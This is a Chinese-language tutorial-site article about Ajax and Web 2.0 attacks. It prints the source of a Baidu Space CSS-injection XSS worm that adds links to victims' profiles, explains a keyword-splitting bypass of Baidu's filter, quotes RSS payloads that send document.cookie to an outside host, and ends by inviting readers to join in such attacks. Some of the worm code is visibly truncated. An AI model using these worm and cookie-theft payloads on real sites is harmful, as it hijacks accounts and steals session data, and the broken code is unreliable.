DIV CSS 佈局教程網

Ajax Hacking
編輯:AJAX基礎知識     
由此Ajax攻擊可見一斑,然而這還僅僅是個開始。7月份百度開通了百度空間,雖然沒有指明是應用web2.0技術,但從web2.0象征的測試版(beta)和頁面模版架構等等,你可以看出它事實上已經應用了Ajax技術。而在空間開通不到半個月,相應的攻擊方式又產生了,這個攻擊應該又算是一個蠕蟲吧。它利用百度提交的自定義css(Cascading Stylesheet,層疊樣式表單)中對插入的javascript過濾不嚴格,而使攻擊者可以寫入惡意代碼進行了xss(Cross Site Scripting)跨站。從而使浏覽該空間的百度通行證用戶在不知覺的情況下將該站點加入自己的友情連接中。最原始代碼標本如下:
復制代碼 代碼如下:#header{height:89px;background:url("javascript:document.body.onload = function(){ //- - 在css的樣式標簽中插入javascript代碼 
var req = null; 
if(window.XMLHttpRequest) req = new XMLHttpRequest(); //- - 這句懂ajax的都知道,是它的核心XMLHttpRequest,而下面當然是必不可少的判斷是否IE的語句了。 
else if(window.ActiveXObject){ 
var msxml = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'); 
for(var i=0;i try{req.overrideMimeType('text/xml')}catch(e){} 

req.open('get','.',false); 
req.send(); 
var s=req.responseText; 
p=s.indexOf('passport.baidu.com/?logout'); 
if(p>0) 

p=s.indexOf(''); 
if(p>0) 

p=s.indexOf('/',p); 
p2=s.indexOf(String.fromCharCode(34),p); 
var user=s.substring(p+1,p2); 
var name='Here is a bad site'; 
var link='目標網址'; 
var desc='This link was added by an XSS script'; 
var url='/'+user+'/commit'; 
var data='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc); //- - 這句是整個蠕蟲的執行語句,也是Ajax的數據異步調用語句。 
req.open('post',url,false); 
req.send(data); 
alert('A friend link has been added to your space at http://hi.baidu.com/' +user); 


else{alert('You are not a logged Baidu user.');} //- - 由於是標本語句,所以這裡有對是否登陸的判斷,但實際攻擊中當然不會有。 
}"); 
} 當時百度在第一時間內對此蠕蟲作出了反映——過濾提交表單中的javascript,當然這也使正常用戶無法再在blog中貼入Flash動畫。但後來的變種使得境況變得更糟糕,因為有人發現百度僅僅是過濾了CSS文本中的譬如"javascript"和"expression"這樣的字符串。也就是說如果把”javascript”分成兩行來寫,就可以繞過百度的過濾但同時又被IE執行。而這時變種的蠕蟲也隨之產生,其造成的結果是在用戶的css中加入如下代碼:
#header {……
很簡單的一句吧,這幾乎把該蠕蟲提升到了病毒性質,因為用戶本身無法到達css修改頁面來修復他的css代碼。事實上直到寫這篇文章時,百度空間尚沒有對一些另類的插入惡意代碼方式進行有效地過濾和封鎖。
如果認為他們所造成的影響都是局域的,那麼我不得不帶領大家來看一些影響比較廣泛的最具有web2.0性質的——Rss(Really Simple Syndication)攻擊。這是我從zdnet.com的Joris Evers的一篇名為“Blog feeds may carry security risk ”了解到的,大體意思是說由於目前幾乎所有的不管是在線的還是離線的Rss閱讀器都沒有有效地對攙雜在Rss中的腳本進行過濾,導致攻擊者可以向Rss中寫入惡意的javascript代碼,最終導致xss跨站,獲取用戶信息或其他。包括著名的Bloglines, RSS Reader, RSS Owl, Feed Demon, Sharp Reader都在攻擊范圍之內。這是去年yahoo rss xss代碼:

javascript:%20document.location='http://www.target.com/cookie.cgi?'%20+document cookie;
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT

javascript:%20alert(document.cookie);
Should Steal Your Cookie.
Tue, 20 Sep 2005 23:55:18 EDT

事實上,最早的web2.0攻擊出現在去年的myspace.上,有人在MySpace交友網站上寫了一段JavaScript蠕蟲代碼,利用Ajax方法讓無數的用戶在不知情的情況下把他加入了好友名單,同時在他們的個人簡介最後自動加上了“samy is my hero”的字樣。此蠕蟲被稱為世界上第一個“web2.0蠕蟲”。而從上文的對email、css、rss攻擊進行的描述中你也可以看出目前對 web2.0的攻擊利用亦是多方面的。但並不單單指跨站,網上有一篇《Hacking Ajax》的文章,其中有一句話被加了黑體,“By corrupting one of the dozens of data exchanges Ajax handles while loading a Web page, a hacker can take over control of the PC”,也就是說適當情況下,利用Ajax攻擊並獲得個人電腦管理權限亦是可能的。
由於目前系統對補丁的發布采取的都是時時更新功能,想通過溢出獲得shell已經很難了,除非是0day的系統漏洞;而sql注入在網絡也肆虐了幾年,亦有了行之有效的防范方法;並且由於Python和Ruby語言的興起,新的web2.0服務正在產生並有取代現有web結構趨勢,譬如Plone。但不可改變的是web浏覽器對xhtml和javascript的解釋,只要我們始終有改變javascript的可能性,我們就永遠有提升自己權限的可能……
那麼對於日趨龐大的web2.0大軍,你是否有興趣從中分一杯羹呢? 
XML學習教程| jQuery入門知識| AJAX入門| Dreamweaver教程| Fireworks入門知識| SEO技巧| SEO優化集錦|
Copyright © DIV+CSS佈局教程網 All Rights Reserved